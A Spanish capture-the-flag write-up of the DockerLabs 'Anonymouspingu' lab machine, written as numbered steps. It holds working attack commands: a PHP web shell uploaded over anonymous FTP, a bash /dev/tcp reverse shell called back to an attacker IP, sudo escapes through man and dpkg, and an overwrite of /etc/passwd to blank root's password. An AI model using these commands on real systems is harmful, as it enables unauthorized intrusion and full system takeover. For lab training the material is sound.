Máquina: Anonymouspingu
SO: Linux
Nivel: Facil
DockerLabs


img

1. Descubriendo puertos y servicios de la maquina.

sudo nmap -p- --open --min-rate=5000 -sCV -n -Pn 172.17.0.2

img

2. Vamos a revisar la web, si clickamos en “acceder al backend” nos lleva a la ruta de “upload” el cual esta vacio.

http://172.17.0.2/

img img

3. Ingreso al ftp como anonimo, vemos que el directorio upload tiene los permisos, creamos una shell y lo subimos al servidor.

nvim shell.php

ftp 172.17.0.2

dir

cd upload

put shell.php

img

4. Ahora desde el navegador tenemos una web shell, nos ponemos en escucha por nc y obtenemos la reverse shell.

nc -nlvp 4000

http://172.17.0.2/upload/shell.php?cmd=bash -c 'bash -i>%26 /dev/tcp/192.168.18.8/4000 0>%261'

img

5. Podemos ejecutar el binario man como el usuario pingu sin proporcionar contraseña.

sudo -l

img

6. Hacemos tratamiento de la tty.

script /dev/null -c bash

stty raw -echo;fg

reset xterm

export TERM=xterm

export SHELL=/bin/bash

img img

7. Obtenemos una bash como pingu; referencia gtfobins.

sudo -u pingu /usr/bin/man man

!/bin/bash

img

8. Ya estando como pingu, revisando los permisos sudo de este usuario tenemos dos binarios, que podemos ejecutarlos como gladys.

sudo -l

img

9. Obtenemos la bash como gladys; referencia gtfobins.

sudo -u gladys /usr/bin/dpkg -l

!/bin/bash

img

10. Tenemos un binario que podemos ejecutarlo como root, revisamos el passwd, vemos que el propietario puede escribir en el archivo.

sudo -l

ls -l /etc/passwd

img

11. Escalando privilegios.

11.1- Primero asignamos a gladys como propietario del passwd

sudo /usr/bin/chown gladys:gladys /etc/passwd

img

11.2- Copiamos todo el passwd y borramos la X que indica la contraseña habilitada de root y lo redirigmos al passwd

echo 'root::0..........' > /etc/passwd

grep root /etc/passwd

img

11.3- Migramos a root

su root

img


Finalizado.